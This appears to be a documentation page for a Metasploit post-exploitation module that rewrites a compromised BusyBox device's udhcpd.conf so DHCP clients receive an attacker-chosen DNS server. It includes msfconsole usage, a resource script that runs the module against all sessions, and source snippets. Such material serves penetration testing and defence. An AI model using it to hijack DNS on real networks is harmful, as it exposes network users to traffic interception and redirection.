BusyBox DNS Configuration - Metasploit


This page contains detailed information about how to use the post/linux/busybox/set_dns metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: BusyBox DNS Configuration
Module: post/linux/busybox/set_dns
Source code: modules/post/linux/busybox/set_dns.rb
Disclosure date: -
Last modification time: 2017-07-24 06:26:21 +0000
Supported architecture(s): -
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will be applied on a session connected to a BusyBox shell. It allows to set the DNS server on the device executing BusyBox so it will be sent by the DHCP server to network hosts.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/linux/busybox/set_dns

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/linux/busybox/set_dns
msf post(set_dns) > show options
    ... show and set options ...
msf post(set_dns) > set SESSION session-id
msf post(set_dns) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/linux/busybox/set_dns")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

  • DNS: The dns server address

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Msfconsole Usage

Here is how the linux/busybox/set_dns post exploitation module looks in the msfconsole:

msf6 > use post/linux/busybox/set_dns

msf6 post(linux/busybox/set_dns) > show info

       Name: BusyBox DNS Configuration
     Module: post/linux/busybox/set_dns
   Platform: Linux
       Arch: 
       Rank: Normal

Provided by:
  Javier Vicente Vallejo

Compatible session types:
  Shell

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  DNS                       yes       The dns server address
  SESSION                   yes       The session to run this module on.

Description:
  This module will be applied on a session connected to a BusyBox 
  shell. It allows to set the DNS server on the device executing 
  BusyBox so it will be sent by the DHCP server to network hosts.

Module Options

This is a complete list of options available in the linux/busybox/set_dns post exploitation module:

msf6 post(linux/busybox/set_dns) > show options

Module options (post/linux/busybox/set_dns):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   DNS                       yes       The dns server address
   SESSION                   yes       The session to run this module on.

Advanced Options

Here is a complete list of advanced options supported by the linux/busybox/set_dns post exploitation module:

msf6 post(linux/busybox/set_dns) > show advanced

Module advanced options (post/linux/busybox/set_dns):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the linux/busybox/set_dns module can do:

msf6 post(linux/busybox/set_dns) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the linux/busybox/set_dns post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(linux/busybox/set_dns) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Unable to write udhcpd.conf, searching a writable directory...

Here is a relevant code snippet related to the "Unable to write udhcpd.conf, searching a writable directory..." error message:

49:	    print_status('File /etc/udhcpd.conf found')
50:	
51:	    if busy_box_write_file('/etc/udhcpd.conf', "option dns #{datastore['SRVHOST']}", true)
52:	      restart_dhcpd('/etc/udhcpd.conf')
53:	    else
54:	      print_status('Unable to write udhcpd.conf, searching a writable directory...')
55:	      writable_directory = busy_box_writable_dir
56:	      if writable_directory
57:	        print_status("Copying the original udhcpd.conf to #{writable_directory}tmp.conf")
58:	        cmd_exec("cp -f /etc/udhcpd.conf #{writable_directory}tmp.conf")
59:	        Rex::sleep(0.3)

Writable directory not found

Here is a relevant code snippet related to the "Writable directory not found" error message:

59:	        Rex::sleep(0.3)
60:	        print_status("Adding DNS to #{writable_directory}tmp.conf")
61:	        busy_box_write_file("#{writable_directory}tmp.conf", "option dns #{datastore['SRVHOST']}", true)
62:	        restart_dhcpd("#{writable_directory}tmp.conf")
63:	      else
64:	        print_error('Writable directory not found')
65:	      end
66:	    end
67:	  end
68:	
69:	  def restart_dhcpd(conf)

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See Also

Check also the following modules related to this module:

Authors

Javier Vicente Vallejo

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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